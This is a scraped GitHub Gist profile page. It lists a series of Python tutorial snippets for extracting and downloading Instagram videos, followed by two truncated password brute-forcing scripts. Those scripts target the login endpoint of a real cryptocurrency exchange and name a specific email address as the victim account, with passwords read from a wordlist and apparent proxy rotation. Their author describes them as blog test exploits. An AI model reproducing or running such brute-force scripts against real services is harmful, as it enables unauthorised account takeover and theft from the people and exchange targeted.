Skip to content

Instantly share code, notes, and snippets.

Avatar

PersianGh0st persian64

View GitHub Profile
View insta-dw-tut-8.py
import tests
video_url = input("Enter video URL: ")
output_name = input("Enter output file name (i.e. sample.mp4): ")
tests.my_module(video_url, output_name)
View insta-dw-tut-6.py
import requests
import re
def my_module(video_url_, output_name):
"""
This module can be used to download instagram videos,
You can pass two arguments, video url & output name
i.e. my_module('https://www.instagram.com/p/B82F0mJhiUV/', 'sample.mp4')
"""
View insta-dw-tut-7.txt
Help on module tests:
NAME
tests
FUNCTIONS
my_module(video_url_, output_name)
This module can be used to download instagram videos,
You can pass two arguments, video url & output name
i.e. my_module('https://www.instagram.com/p/B82F0mJhiUV/', 'sample.mp4')
View insta-dw-tut-5.py
import requests
import re
video_url_ = input("Enter video URL: ")
output_name = input("Enter a name for the output file (i.e. sample.mp4): ")
grab_source_code = requests.get(str(video_url_))
grab_video_link = re.search(r'"video_url":"(.*?)"', str(grab_source_code.text)).group(1)
unicode_removed = grab_video_link.replace(r"\u0026", "&")
View insta-dw-tut-4.py
import requests
import re
# code jadid
output_name = 'sample.mp4'
video_url_ = 'https://www.instagram.com/p/B82F0mJhiUV/'
grab_source_code = requests.get(str(video_url_))
print(grab_source_code.text)
grab_video_link = re.search(r'"video_url":"(.*?)"', str(grab_source_code.text)).group(1)
View insta-dw-tut-3.py
import requests
import re
video_url_ = 'https://www.instagram.com/p/B82F0mJhiUV/'
grab_source_code = requests.get(str(video_url_))
print(grab_source_code.text)
grab_video_link = re.search(r'"video_url":"(.*?)"', str(grab_source_code.text)).group(1)
print(grab_video_link)
unicode_removed = grab_video_link.replace(r"\u0026", "&")
View insta-dw-tut-2.py
import requests
import re
video_url_ = 'https://www.instagram.com/p/B82F0mJhiUV/'
grab_source_code = requests.get(str(video_url_))
print(grab_source_code.text)
grab_video_link = re.search(r'"video_url":"(.*?)"', str(grab_source_code.text)).group(1)
print(grab_video_link)
View insta-tut-1.py
import requests
video_url_ = 'https://www.instagram.com/p/B82F0mJhiUV/'
grab_source_code = requests.get(str(video_url_))
print(grab_source_code.text)
@persian64
persian64 / brut3f0rc3.py
Created Sep 25, 2019
This script is a part of my personal blog, the comments used in this code are written in Persian language with English alphabets.
View brut3f0rc3.py
import requests
import random
from itertools import cycle
import re
burp0_url = "https://bitbns.com:443/order/login"
burp0_cookies = {"__cfduid": "xxxxxxxxxxxxxxx", "bhInfV_cl_id": "xxxxxxxxxxxxxxx", "connect.sid": "xxxxxxxxxxxxxxxxxxxxxxx", "_csrf": "xxxxxxxxxxxxxxx", "XSRF-TOKEN": "xxxxxxxxxxxxxxxxxx", "__cfruid": "xxxxxxxxxxxxxxxxxxxxxxxxx"}
# email tan ra enja begzarid
@persian64
persian64 / pass-brute.py
Created Sep 16, 2019
A simple test exploit for password brute forcing, created for my blog.
View pass-brute.py
import requests
import re
# email target ra enja begzarin
target = "staunens@ilivemusic.ru"
with open("passes.txt", "r") as passes:
for passwords in passes:
burp0_url = "https://bitbns.com:443/order/login/?rand=372795818845683"
burp0_cookies = {HIDDEN_CONTENT}
You can’t perform that action at this time.